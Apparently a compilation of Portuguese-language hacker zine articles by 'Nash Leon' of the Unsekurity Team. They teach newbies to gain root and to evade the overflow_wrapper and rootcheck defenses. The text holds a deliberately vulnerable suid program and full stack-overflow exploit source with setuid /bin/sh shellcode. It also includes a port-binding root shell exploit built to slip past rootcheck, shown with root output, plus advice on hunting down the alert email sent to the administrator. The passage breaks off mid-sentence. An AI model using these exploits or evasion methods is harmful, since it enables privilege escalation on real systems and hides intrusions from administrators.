Enfim, varios sao os desafios!! Mas soh depende de voce seguir persistindo que voce conseguirah passar por cada um desses desafios! Uma vez obtido acesso local, as opcoes para obtencao de 'root' sao consideraveis, basta voce estar disposto e ir atras! Acredite em voce mesmo! Respeite o administrador, mas procure olhar a maquina, na maioria das vezes voce nao estah lutando contra um administrador e sim contra programas!! Softwares que foram feitos por humanos e sempre estarao a merce de falhas!!! Basta ir de encontro aos conceitos usados por estes Softwares e voce serah bem sucedido!!
Aih estah mais um simples esquema demonstrando que eh possivel 'passar' por mais uma ferramentas usada e difundidas pela comunidade de seguranca. Existem muitos outros esquemas para passar por esses conceitos e eu vou disponibiliza-los em breve.O que fica mais uma vez evidenciado eh que se algum administrador de rede acha que a solucao para os problemas estah em se usar Softwares que procuram 'sanar' os problemas externamente(sem atingir a causa dos problemas), esse administrador estah completamente enganado!!! Grande parte da Comunidade de Seguranca defende um conceito que as ferramentas sao capazes de eliminar tecnicas!! Eu nao penso assim! Abram os olhos e contemplem voces mesmos a realidade! Para o fucador, a necessidade de ir mais fundo eh evidente e realmente muito gratificante!! Essas ferramentas representam um desafio a mais, mas que podem sim serem 'transpassadas'.Estude e vah fundo e voce verah que a grande maioria das Ferramentas usadas pela Comunidade de Segurancao nao fazem o que elas dizem fazer!
http://www.infowar.co.uk/thc/ -> Procure em Articles.
http://packetstorm.securify.com/linux/security/StJude_LKM-0.02.
http://unsekurity.virtualave.net/
http://www.bufferoverflow.org/
http://www.taldowin.com.br/
http://www.absoluta.org/
http://www.securenet.com.br/
Eh de admirar e ateh mesmo assustar o crescimento que o Unsekurity Team
vem obtendo.Temos trabalhado duro para isso, e mais material estah a
caminho.Em breve iremos expandir mais e mais conceitos e tecnicas, mas
tudo no seu devido tempo.Muita gente anda descontente com o 'trabalho'
que estamos realizando, mas existe um porque muito forte para darmos
sequencia ao que estamos comecando!
Gostaria de agradecer ao pessoal do Unsekurity Team e a todos aqueles que
estao acompanhando as nossas publicacoes... Tambem ao pessoal que assinou
a nossa Mail List e que vem discutindo varios assuntos de interesse de
fucadores.. Ao pessoal que nos tem criticado, acho valido isso tudo e
se as criticas sao construtivas, temos mais eh que acata-las e nao
ataca-las.. Existe espaco para todos na NET, e defender a liberdade de
expressao tem sido uma das minhas bandeiras, logo, muita gente anda
incomodado quanto a isso!! Seja critico irmao!!
Desenvolvido por Nash Leon vulgo coracaodeleao.
nashleon@yahoo.com.br
Estes e outros artigos podem ser obtidos em:
http://unsekurity.virtualave.net/
OBS: O autor nao se responsabiliza pelo mau uso dos exemplos e dados aqui
fornecidos.Todo material contido neste arquivo texto possui somente
propositos educacionais.
OBS2: Mais um Artigo onde o publico alvo eh o pessoal NewBie.Espero que
os 'elites' nao percam seu tempo lendo este simples artigo!
| TECNICA PARA PASSAR POR |
| OVERFLOW WRAPPER |
----------------------------
Para se defender de buffer overflows um administrador de redes eh capaz de tudo.Sem sombra de duvida, se o programa principal eh bugado, a melhor solucao a vista eh ajeita-lo diretamente no codigo fonte atraves de patchs, tentando assim eliminar a possivel condicao de buffer overflow.No entanto, as coisas tem caminhado para um "comodidade" por parte da "seguranca" e dos admins num modo geral, de modo que, estao confiando muito em softwares que "dizem" serem "capazes" de dificultar um buffer overflow (diga-se Stack Overflow) ao maximo.Uma dessas ferramentas surgiu ha alguns anos, na epoca, era considerado algo "grandioso", mas veremos que isso nao eh essas coisas nem nunca foi.Essa ferramenta se chama overflow_wrapper, e sua utilidade eh tentar "limitar a exploitacao que tem argumentos da linha de comando vulneraveis a buffer overflows", como vimos, a definicao do proprio programa se limita a linha de comando.Ele pode ser util em programas bugados de empresas que demoram a consertar seus bugs(empresas de codigo-fonte fechado), de modo que existem admins que por praticidade adotam o uso deste programa. Irei descrever de forma bem basica, alguns simples metodos de passar por esse programa, coisas basicas.Espero que isto venha a ser util para alguem.
Como foi dito, esta eh uma ferramenta antiga, mas ainda assim eh muito usada.Abaixo segue o codigo fonte da mesma:
--------------------------overflow_wrapper.c------------------------------ /*
static char Version[] = "overflow_wrapper-1.1 V1.1 13-May-1997";
#include <stdio.h>
#include <syslog.h>
/*
main(argc,argv,envp)
int argc;
char *argv[];
char *envp[];
{
int i;
for (i=0; i<argc; i++)
{
if (strlen(argv[i]) > MAXARGLEN)
{
fprintf(stderr,"You have exceeded the argument length .
..Exitingn");
#ifdef SYSLOG
syslog(LOG_DAEMON|LOG_ERR,"%.32s: possible buffer overr un attack by uid %dn", argv[0], getuid()); #endif
exit(1);
}
}
execve(REAL_PROG, argv, envp);
perror("execve failed");
exit(1);
}
Como voce pode ver perfeitamente, este eh um programa simples, sem segredo algum, o que ele faz eh checar o tamanho de um argumento da linha de comando referente ao programa bugado, se for maior que o definido como MAXARGLEN, ele irah imprimir a string "You have exceeded the argument length ...Exiting" (Isso pode ser retirado ou mesmo alterado para algo como Segmentation Fault, tentando dificultar nossa percepcao) e em seguida ira logar a tentativa de buffer overflow por um usuario com uid X no syslog.
Entao amigo, se voce tentar um buffer overflow e receber a mensagem acima ou mesmo se voce tentar muito e nao conseguir nada e tiver certeza de que aquele programa eh bugado, entao eh possivel que o administrador esteja usando overflow_wrapper.
Existe um perigo consideravel em se confiar nessas ferramentas.Digo essas que em breve estaremos derrubando mais mitos caracteristicos da comunidade de seguranca, mitos esses que sao programas e tecnicas descritas como eficazes e eficientes que visam a seguranca e que podem ser facilmente "quebradas" por um fucador com conhecimentos basicos ou um cracker experiente.Como Kevin Poulsen dizia: " Um computador soh pode ser considerado seguro se o custo da invasao for maior do que o dos dados ou dos recursos que poderao ser utilizados". Entendeu o conceito dele??? Por que alguem gastaria milhoes por algo que nao vale centavos?? Haja visto crackers buscam o lucro.De qualquer forma, com overflow_wrappers nao eh diferente.Vejamos um exemplo de programa bugado que recebe argumentos da linha de comando:
----------------------------------bug1.c----------------------------------- /* SIMPLES PROGRAMA BUGADO */
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[]){
char buffer[512];
if(argc < 2){
printf("Programa bugado!!n");
printf("Uso: %s <string>n",argv[0]);
exit(0);
}
strcpy(buffer,argv[1]);
printf("Voce digitou %s!!n",buffer);
return 0;
}
Aih estah a velha strcpy, que jah devia ter sido banida dos novos compiladores. Compile esse programa e torne-o suid.
[localhost]# gcc -o /tmp/bug1 /tmp/bug1.c [localhost]# chmod +s /tmp/bug1
Esse programa eh facilmente exploitado via Stack Overflow com qualquer exploit.Mas supondo que este bug eh antigo, entao o administrador usa overflow_wrapper para tornar as coisas mais dificeis para voce.Ele provavelmente faria o seguinte esquema:
[localhost]# mv /tmp/bug1 /tmp/bug1.x
[localhost]# gcc -DREAL_PROG='"/tmp/bug1.x"' -DMAXARGLEN=500 -o /tmp/bug1 overflow_wrapper.c
[localhost]# ls /tmp/bug1
Pronto, agora a coisa ficou mais dificil.Mas nao muito..:).Basta usarmos strings e ver se existe algum redirecionamento, esse redirecionamento nos diria se o programa estah ou nao com overflow_wrapper.Vejamos:
[localhost]$ strings /tmp/bug1 | more
....
GLIBC_2.0
PTRhp
You have exceeded the argument length . ..Exiting
/tmp/bug1.x
execve failed
overflow_wrapper-1.1 V1.1 13-May-1997
init.c
/tmp/glibc-2.1.2/csu/
gcc2_compiled.
....
Aih estah as strings..Lembrando que as mesmas podem ser mudadas, se o cara colocar "Segmentation Fault" para tentar te enganar, ela vai aparecer aih.:)...logo abaixo a ela(a string) vem o verdadeiro executavel /tmp/bug1.x. Aih eh soh fazer um exploit para isso, exemplo segue abaixo:
#define TAMANHO_BUFFER 500 #define NOP 0x90 #define OFFSET_PADRAO 0 #define ALIGN 0
unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}
char shellcode[]=
"x31xc0x31xdbxb0x17xcdx80" /* SETUID(0) */ "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68x00x00x00" "x4ex41x53x48x20x4cx45x4fx4ex20x76x75x6cx67x6fx20" "x63x6fx72x61x63x61x6fx64x65x6cx65x61x6fx00x2ex00" "x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax20x55x4ex53x45" "x4bx55x52x49x54x59x20x54x45x41x4dx20x2ax2ax2ax2a" "x2ax2ax2ax2ax2ax2ax2ax00x68x74x74x70x3ax2fx2fx75" "x6ex73x65x6bx75x72x69x74x79x2ex76x69x72x74x61x6c" "x61x76x65x2ex6ex65x74x2fx00x68x74x74x70x3ax2fx2f" "x75x6ex73x65x6bx75x72x69x74x79x2ex63x79x62x65x72" "x70x75x6ex6bx2ex63x6fx6dx2ex62x72x2fx00x2ax2ax2a" "x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2a" "x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2a" "x2ax2ax2ax2ax00x2ex00";
int main(int argc, char *argv[])
{
char *buffer;
long retaddr;
int i ,tamanho = 0, offset = 0;
if(argc < 2){
printf("Uso: %s <tamanho_do_buffer> <offset>n",argv[0]); printf("Obs:Digite o tamanho do buffer!!nn"); exit(0);
}
if (argc > 1) {
tamanho = atoi(argv[1]);
}
if (argc > 2) {
offset = atoi(argv[2]);
}
if(!(buffer = malloc(tamanho))){
fprintf(stderr,"Nao pode alocar mamoria!!n"); exit(1);
}
retaddr = pega_sp() - offset;
for (i=0;i<tamanho;i+=4)
{
buffer[i+ALIGN]=(retaddr&0x000000ff);
buffer[i+ALIGN+1]=(retaddr&0x0000ff00)>>8;
buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16;
buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24;
}
for (i=0;i<(tamanho-strlen(shellcode)-100);i++)
*(buffer+i) = NOP;
memcpy(buffer+i,shellcode,strlen(shellcode)); /* Finalmente executamos o programa */
execl("/tmp/bug1.x","/tmp/bug1.x",buffer,0); }
[localhost]$ ./exploit1 550
Voce digitou xxx
...
úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿!! sh-2.03# id
uid=0(root) gid=100(users) groups=100(users)
Podemos ver que strings realmente serve para alguma coisa..:)..Se voce executar strings no arquivo verdadeiro '/tmp/bug1.x' verah que nao existe um "redirecionamento".Entao amigo, antes de tentar um overflow, cheque se o programa bugado nao estah sendo 'redirecionado' via overflow_wrapper. Como podemos notar, essa 'cobertura' nao eh lah tao eficiente. E se o administrador for "esperto" ou "estupido" o bastante e apagar o comando strings??? :)..Teve um aih que fez isso achando q tava tudo ok.:) Meus dois neuronios mandaram eu enviar um strings para lah..:)
Bom, amigo, esse eh soh um esquema bobo.Enchi muita linguica, pois estar desempregado tem me matado.O jeito eh escrever esquemas bobos, mas eficazes, e esse programa de seguranca foi visto durante algum tempo como uma solucao pratica.Um administrador nao deve nunca confiar somente nesses softwares, nao existe solucao contra buffer overflows que seja realmente eficiente.Esse programa pode vir a ser usado, sem sombra de duvida que pode sim, mas nao se deve confiar nele, melhor eh retirar o suid bit enquanto um patch eh providenciado, e acima de tudo usar sistemas abertos, pois a solucao dos problemas eh bem mais rapido.Para o fucador NewBie, aos poucos nos do Unsekurity Team vamos disponibilizar publicacoes derrubando mitos, e voces verao na pratica, que com um pouco de estudo e dedicacao, muitos esquemas usados por admins e pela comunidade de seguranca podem ser derrubados.
http://www.auscert.org.au/
ftp://ftp.auscert.org.au/pub/auscert/tools/overflow/overflow_wrapper.c
http://unsekurity.virtualave.net/
http://unsekurity.cyberpunk.com.br/
http://www.hacker.com.br/
http://www.bufferoverflow.org/
Aih estah amigo.Um esquema basico, solucionando um problema simples.
Existem diversos programas e tecnicas usadas pela comunidade de seguranca
para ajudar administradores de sistemas.Nos do Unsekurity Team, iremos aos
poucos disponibilizar, alem de nossos tutoriais com material fucador,simples
artigos descrevendo possiveis tecnicas para derrubar alguns destes programas
e conceitos.
Agradeco a todos que de uma forma ou de outra vem colaborando com ideias
e sugestoes no que diz respeito a "quebrar" esses sistemas de seguranca.
Sem sombra de duvida isso contribui na liberdade de informacao e na
construcao de sistemas mais seguros, beneficiando assim o usuario comum.
Gostaria de agradecer a todos do Unsekurity Team, module, psych, e-brain,
t[rex], Cs0, raynox, CDMA, Schwarz, char, Dinamite_, alex-linux, antilove,
mastery, xcarioca, J4ns, cync, t0x[i]c, CeZiNHa, Matt_Salermo,Xf86config,
meu grande amigo zip, thunderoffire, o_corvo, psychodeath, Dani_Lindinha,
BL4ck 0X1g3n, gid ,arse e a todos aqueles que contribuem distribuindo
informacao "gratuita" e sem "pre-conceitos".
Desenvolvido por Nash Leon vulgo coracaodeleao.
nashleon@yahoo.com.br
1 - INTRODUCAO
2 - ROOTCHECK
2.1 - O que eh
2.2 - Baixando e Instalando
3 - PASSANDO PELO ROOTCHECK
3.1 - O Metodo
4 - TERMINANDO
4.1 - Links e Referencias
4.2 - Consideracoes Finais
Muitos programas tem sido usados ao longo dos anos para aumentar a seguranca de uma rede contra as mais conhecidas tecnicas de obtencao de root.Obter root num sistema representa um estagio bastante elevado no dominio de uma rede por parte de um fucador.Uma vez obtido root num sistema, as possibilidades existentes para o dominio completo dos aplicativos que estao sendo executados numa rede eh demasiadamente grande.Senhas de banco de dados podem ser capturadas, implementacao de ponte servidora em tecnicas avancadas podem ser feitas, acesso a segmentos de rede e redirecionamento de servicos se torna trivial.Eh nesse contexto que varias ferramentas tem sido utilizadas e construidas, ou seja, o intuito eh dificultar ao maximo a obtencao de root no sistema por parte de um invasor.Uma das ferramentas mais interessantes e seu conceito, serah descrito neste artigo.O conceito usado pelo rootcheck eh bastante amplo e veremos de forma bastante pratica como passar por ele. Outra coisa que vai se evidenciar neste artigo, eh a necessidade de saber escrever shellcodes.
O RootCheck eh uma ferramenta usada para aumentar a seguranca numa rede. O que ela faz eh o seguinte: Quando um usuario que nao possui permissao para tornar sua (e)uid == 0, consegue tornar-se root(euid(0)), entao esse programa derruba o o processo que o usuarios estah executando(geralmente eh /bin/sh), e em seguida manda um mail para o administrador da rede avisando que determinado usuario foi derrubado pelo rootcheck. O conceito usado por esta ferramenta eh usado tambem em outras ferramentas da seguranca(alguns IDS).Ao meu ver eh um conceito interessante, e que se investissem mais nesse conceito, sem duvida ficaria dificil alguem conseguir root num sistema alheio.
2.2 - Baixando e Instalando
Essa ferramenta foi contruida por BIT'98, mas o pessoal da w00w00 ajeitou ela para que funcionasse de forma eficiente.Abaixo segue seu codigo fonte, mas se preferir baixar, procure na pagina da w00w00(www.w00w00.org).
/*
BiT '98
completely rewritten for obvious reasons... first of all, it didnt work (sigsegv and shit) second.. my house got raided and everything was taken third.. i have nothing to do waiting for my phone line to return....... */
/*
Killing processes with (e)uid==0 if they aint owned by root or anyone in /etc/rootusers, except if the process name is in /etc/suids
bugfix: forgot a signal() in the SIGHUP handler, im to lazy to use
sigaction()
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <signal.h>
#include <pwd.h>
#include <time.h>
#define VERSION "0.6"
#define ROOTUSERS "/etc/rootusers"
#define SUIDS "/etc/suids"
#define PIDFILE "/var/run/rootcheck.pid"
#define EMAIL "root@localhost" /* you might want to change this */
#define NETSTAT "/bin/netstat"
#define W "/usr/bin/w"
#define LAST "/usr/bin/last"
struct rootcheck {
char name[256];
pid_t pid, ppid;
uid_t uid, euid;
};
uid_t rootusers[16]; /* more then 16 roots?! */
char suids[64][256]; /* what about removing some root suids? */
int nrootusers, nsuids;
void sighup(int s);
void rehash(int status);
int okuid(uid_t uid);
void foreverloop(void);
struct rootcheck *getinfo(char *d_name); struct rootcheck *trace_to_init(struct rootcheck par); void checkup(char *d_name);
void mail_n_kill(struct rootcheck cur, struct rootcheck par);
void main(int argc, char **argv)
{
int i;
char buf[512];
printf("rootcheck %s - BiT '98nn", VERSION);
if (geteuid())
printf("I prefer euid 0n"), exit(-1);
if ((i = open(PIDFILE, O_RDONLY)) != -1) {
read(i, buf, sizeof(buf));
if (kill(atoi(buf), SIGCHLD) != -1)
printf("Allready running.n"), exit(-1);
close(i);
}
printf("Loading init files...");
rehash(0);
printf("donenSetting up HUP handler and detaching..."); fflush(stdout);
signal(SIGHUP, (void *) &sighup);
if ((i = fork()) == -1)
printf("can't fork()?!n"), exit(-1); if (i)
putchar('n'), close(0), close(1), close(2), exit(-1);
if ((i = open(PIDFILE, O_WRONLY | O_CREAT)) != -1) {
sprintf(buf, "%d", getpid());
write(i, buf, strlen(buf));
close(i);
}
foreverloop();
}
void foreverloop(void)
{
DIR *procdir;
struct dirent *pproc;
struct stat sbuf;
chdir("/proc");
procdir = opendir("."); /* if this doesnt work............ */
while (1) {
if ((pproc = readdir(procdir)) != NULL) {
if (stat(pproc->d_name, &sbuf) == -1)
continue;
if (S_ISDIR(sbuf.st_mode))
checkup(pproc->d_name);
} else
rewinddir(procdir);
usleep(10); /* yaya lemme eat yer cpu */
}
}
void checkup(char *d_name)
{
struct rootcheck *p, cur, par;
char buf[512];
if (!strcmp(d_name, "scsi") || !strcmp(d_name, "net") || !strcmp(d_name, "sys")
|| !strcmp(d_name, "self") || !strcmp(d_name, ".")
|| !strcmp(d_name, "..") || !strcmp(d_name, "1"))
return;
if ((p = getinfo(d_name)) == NULL)
return;
memcpy(&cur, p, sizeof(struct rootcheck));
if (cur.ppid == 1)
return;
if (cur.uid && cur.euid)
return;
if (oksuid(cur.name))
return;
if ((p = trace_to_init(cur)) == NULL)
return;
memcpy(&par, p, sizeof(struct rootcheck));
if (okuid(par.uid))
return;
mail_n_kill(cur, par);
}
void mail_n_kill(struct rootcheck cur, struct rootcheck par) {
FILE *fd;
char buf[256], fn[256];
struct passwd *pwd;
unsetenv("IFS");
srand(time(NULL));
pwd = getpwuid(par.uid);
sprintf(fn, "/tmp/rc%d", rand());
fd = fopen(fn, "w");
sprintf(buf, "User %s got euid 0 from %snnSystem data follows:nn",
pwd->pw_name, cur.name);
fputs(buf, fd);
fclose(fd);
sprintf(buf, "%s -a -n >> %s", NETSTAT, fn); system(buf);
sprintf(buf, "%s >> %s", W, fn);
system(buf);
sprintf(buf, "%s -20 >> %s", LAST, fn); system(buf);
sprintf(buf, "cat %s | mail %s", fn, EMAIL); system(buf);
unlink(fn);
kill(par.pid, 9); /* SPLAM! */ }
/* not really correct name, traces until parents uid is 0 */
struct rootcheck *trace_to_init(struct rootcheck par) {
static struct rootcheck *p, cur, old; char buf[512];
sprintf(buf, "%d", par.ppid);
if ((p = getinfo(buf)) == NULL)
return NULL;
memcpy(&old, &par, sizeof(struct rootcheck)); memcpy(&cur, p, sizeof(struct rootcheck));
while (1) {
if (cur.uid == 0 && cur.euid == 0)
return &old;
sprintf(buf, "%d", cur.ppid);
if ((p = getinfo(buf)) == NULL)
return NULL;
memcpy(&old, &cur, sizeof(struct rootcheck));
memcpy(&cur, p, sizeof(struct rootcheck));
}
}
int oksuid(char *owner)
{
int i;
for (i = 0; i < nsuids; i++)
if (strcasecmp(suids[i], owner) == 0)
return 1;
return 0;
}
int okuid(uid_t uid)
{
int i;
if (!uid)
return 1;
for (i = 0; i < nrootusers; i++) {
if (rootusers[i] == uid)
return 1;
}
return 0;
}
struct rootcheck *getinfo(char *d_name) {
static struct rootcheck rc;
char buf[512], fn[512], *p, i;
FILE *fd;
sprintf(fn, "%s/status", d_name);
if ((fd = fopen(fn, "r")) == NULL)
return NULL;
if (fgets(buf, sizeof(buf), fd) == NULL)
return NULL;
buf[strlen(buf) - 1] = 0;
strncpy(rc.name, (buf + 6), sizeof(rc.name));
if (fgets(buf, sizeof(buf), fd) == NULL)
return NULL;
if (fgets(buf, sizeof(buf), fd) == NULL)
return NULL;
rc.pid = atoi((buf + 5));
if (fgets(buf, sizeof(buf), fd) == NULL)
return NULL;
rc.ppid = atoi((buf + 6));
if (fgets(buf, sizeof(buf), fd) == NULL)
return NULL;
p = buf + 5;
for (i = 0; *(p + i) != 't'; i++); *(p + i) = 0;
rc.uid = atoi(p);
p += i;
p++;
for (i = 0; *(p + i) != 't'; i++); *(p + i) = 0;
rc.euid = atoi(p);
fclose(fd);
return &rc;
}
void sighup(int s)
{
signal(SIGHUP, (void *) &sighup);
rehash(1);
}
void rehash(int status)
{
FILE *fd;
char buf[256];
struct passwd *pwd;
nsuids = nrootusers = 0;
fd = fopen(ROOTUSERS, "r");
if (fd == NULL && !status)
printf("can't open %s..", ROOTUSERS);
if (fd) {
while (fgets(buf, sizeof(buf), fd) != NULL) {
if (buf[strlen(buf) - 1] == 'n')
buf[strlen(buf) - 1] = 0;
if ((pwd = getpwnam(buf)) == NULL)
break;
rootusers[nrootusers++] = pwd->pw_uid;
}
fclose(fd);
}
fd = fopen(SUIDS, "r");
if (fd == NULL && !status)
printf("can't open %s..", SUIDS);
if (fd) {
while (fgets(buf, sizeof(buf), fd) != NULL) {
if (buf[strlen(buf) - 1] == 'n')
buf[strlen(buf) - 1] = 0;
buf[255] = 0;
strcpy(suids[nsuids++], buf);
}
fclose(fd);
}
}
O seu uso nao possui muito segredo.Basta definir o que ele pede(#define) e criar os arquivos correspondentes.Veremos seu uso em cima do seguinte programa bugado:
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[]){
char buffer[512];
if(argc < 2){
printf("Programa bugado!!n");
printf("Uso: %s <string>n",argv[0]);
exit(0);
}
strcpy(buffer,argv[1]);
printf("Voce digitou %s!!n",buffer);
return 0;
}
Este programa acima possui uma condicao de buffer overflow que pode ser facilmente exploitada.Compile ele e defina-o como suid root.Depois acrescente ele no arquivo suids do rootcheck, exemplo:
#define ROOTUSERS "/etc/rootusers" #define SUIDS "/etc/suids"
Em /etc/rootusers coloque root e em /etc/suids coloque /tmp/bug1.
De posse dessas informacoes, nos podemos entao tentar exploitar o programa bugado usando um simples exploit:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define NOP 0x90 #define ALIGN 0
unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}
char shellcode[] =
"x31xc0x31xdbxb0x17xcdx80" /* Setuid(0) */ "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";
int main(int argc, char *argv[])
{
char *buffer;
long retaddr;
int i ,tamanho = 0, offset = 0;
if(argc < 2){
printf("Exemplo 1 de exploit para rootcheck!!n"); printf("Uso: %s <tamanho_do_buffer> <offset>n",argv[0]); printf("Obs:Digite o tamanho do buffer!!nn"); exit(0);
}
if (argc > 1) {
tamanho = atoi(argv[1]);
}
if (argc > 2) {
offset = atoi(argv[2]);
}
if(!(buffer = malloc(tamanho))){
fprintf(stderr,"Nao pode alocar mamoria!!n"); exit(1);
}
retaddr = pega_sp() - offset;
for (i=0;i<tamanho;i+=4)
{
buffer[i+ALIGN]=(retaddr&0x000000ff);
buffer[i+ALIGN+1]=(retaddr&0x0000ff00)>>8;
buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16;
buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24;
}
for (i=0;i<(tamanho-strlen(shellcode)-100);i++)
*(buffer+i) = NOP;
memcpy(buffer+i,shellcode,strlen(shellcode));
/* Atencao no PATH abaixo. */
execl("./bug1","bug1",buffer,0);
}
Antes de compilar o programa acima, execute o rootcheck. Compilando e executando o exploit acima, nos podemos ver o rootcheck em acao:
+ Como root:
localhost:/crazy/progs/grupos/w00w00# ./rootcheck rootcheck 0.6 - BiT '98
Loading init files...done
Setting up HUP handler and detaching...
+ Como usuario normal:
localhost:/tmp$ ./ex1 610
Voce digitou A1U°I
I1U
Ø@I
èÜÿÿÿ/bin/shÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿( úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿á!! sh-2.03#
El Vento 2.2.13.
localhost login:
O que aconteceu foi o seguinte.O programa foi exploitado com sucesso, nos caimos numa shell root(sh-2.03#), mas em seguida o rootcheck nos derrubou (El Vento 2.2.13. ... localhost login:).Podemos perfeitamente ver, que para o esquema mais comum de exploitacao para obter root shell, esse programa eh eficiente, mas por um lado, esse programa(rootshell) se denuncia ao evidenciar a nossa queda.Alguns IDS usam a mesma metodologia e permite que um usuario de tentou obter shell root se logue novamente. Isso ainda nao eh tudo, o rootcheck enviou um e-mail para o usuario definido, no nosso caso root@localhost contendo informacoes sobre o usuario que tentou obter root e sobre o estado da rede naquele momento. Abaixo segue um pedaco do e-mail enviado pelo rootcheck:
From root@localhost Sat Mar 12 07:56:55 2000 Return-Path: <root>
Received: (from root@localhost)
by localhost (8.9.3/8.9.3) id HAA00209
for root@localhost; Sat, 12 Mar 2000 07:56:55 -0300
Date: Sat, 12 Mar 2000 07:56:55 -0300
From: root@localhost
Message-Id: <200003121056.HAA00209@localhost> To: root@localhost
User nashleon got euid 0 from sh
System data follows:
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN
O resto eh informacoes sobre processos e conexoes ativas.
Um fucador experiente 'sentiria no tato' que algo "incomum" aconteceu.Ele iria procurar saber o que o derrubou e porque.Mas o detalhe maior estah no seguinte fato: "A root shell havia sido adquirida!!". A evidencia de que o checkroot ou afins estah instalado eh justamente o fato do usuario ter sido derrubado.
Existem varios metodos de se passar por este programa.Como vimos no caso acima, eh possivel executarmos codigo malicioso como root(/bin/sh), logo, poderiamos killar o rootcheck, efetuar uma especie de race condition e etc. Mas ao meu ver, o modo mais simples eh alterarmos o shellcode para executar algo diferente de /bin/sh fugindo assim da percepcao de rootcheck quanto ao euid(0), pois este eh realmente o problema. O exploit abaixo binda uma shell root a uma porta alta.O shellcode foi originalmente escrito pelo Taeho Oh e alterado por mim(setuid(0)) para nosso propositos:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define NOP 0x90 #define ALIGN 0
unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}
char shellcode[] =
"x31xc0x31xdbxb0x17xcdx80"
"x31xc0xb0x02xcdx80x85xc0x75x43xebx43x5ex31xc0" "x31xdbx89xf1xb0x02x89x06xb0x01x89x46x04xb0x06" "x89x46x08xb0x66xb3x01xcdx80x89x06xb0x02x66x89" "x46x0cxb0x77x66x89x46x0ex8dx46x0cx89x46x04x31" "xc0x89x46x10xb0x10x89x46x08xb0x66xb3x02xcdx80" "xebx04xebx55xebx5bxb0x01x89x46x04xb0x66xb3x04" "xcdx80x31xc0x89x46x04x89x46x08xb0x66xb3x05xcd" "x80x88xc3xb0x3fx31xc9xcdx80xb0x3fxb1x01xcdx80" "xb0x3fxb1x02xcdx80xb8x2fx62x69x6ex89x06xb8x2f" "x73x68x2fx89x46x04x31xc0x88x46x07x89x76x08x89" "x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31" "xc0xb0x01x31xdbxcdx80xe8x5bxffxffxff";
int main(int argc, char *argv[])
{
char *buffer;
long retaddr;
int i ,tamanho = 0, offset = 0;
if(argc < 2){
printf("Exploit que passa por rootcheck!!n"); printf("Uso: %s <tamanho_do_buffer> <offset>n",argv[0]); printf("Obs:Digite o tamanho do buffer!!nn"); exit(0);
}
if (argc > 1) {
tamanho = atoi(argv[1]);
}
if (argc > 2) {
offset = atoi(argv[2]);
}
if(!(buffer = malloc(tamanho))){
fprintf(stderr,"Nao pode alocar mamoria!!n"); exit(1);
}
retaddr = pega_sp() - offset;
for (i=0;i<tamanho;i+=4)
{
buffer[i+ALIGN]=(retaddr&0x000000ff);
buffer[i+ALIGN+1]=(retaddr&0x0000ff00)>>8;
buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16;
buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24;
}
for (i=0;i<(tamanho-strlen(shellcode)-100);i++)
*(buffer+i) = NOP;
memcpy(buffer+i,shellcode,strlen(shellcode));
execl("./bug1","bug1",buffer,0);
}
Executando o exploit acima, nos podemos ver que o rootcheck eh ineficiente. Deve aparecer algo desse jeito:
localhost:/tmp$ ./ex2 610
XXXXXX...(monte de caracteres estranhos) XXX
XXX
Depois vc deve cair de volta na sua shell.Nao se preocupe se nao ficar nada legivel, o que aconteceu eh que foi imprimido na tela do monitor(stdout-padrao) caracters nao imprimiveis.Depois disso voce pode sair da rede ou em outro console digitar:
localhost:/tmp$ telnet localhost 30464
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=0(root) gid=100(users) groups=100(users) : command not found
exit;
Connection closed by foreign host.
Pronto amigo.Voce bindou uma shell root a uma porta alta(30464) e passou pelo rootcheck tranquilamente.
Voce pode contemplar agora diversas teorias, como acrescentar um usuario ao passwd, fazer um shellcode para derrubar o rootcheck caso saiba o pid dele, etc.Use a sua imaginacao e os seus neuronios, com certeza voce conseguirah passar por este desafio.Outra coisa reside no fato de voce ter sido logado.Como um e-mail pode ter sido enviado(no nosso exemplo foi) para alguem, voce precisa encontrar o mesmo.Existem tecnicas para fazer isto, mas cada caso eh um caso.
Eu jah vih algumas redes americanas usarem esta ferramenta.O conceito dela
eh bem amplo, voce poderah ver algo parecido em alguns esquemas de IDS por
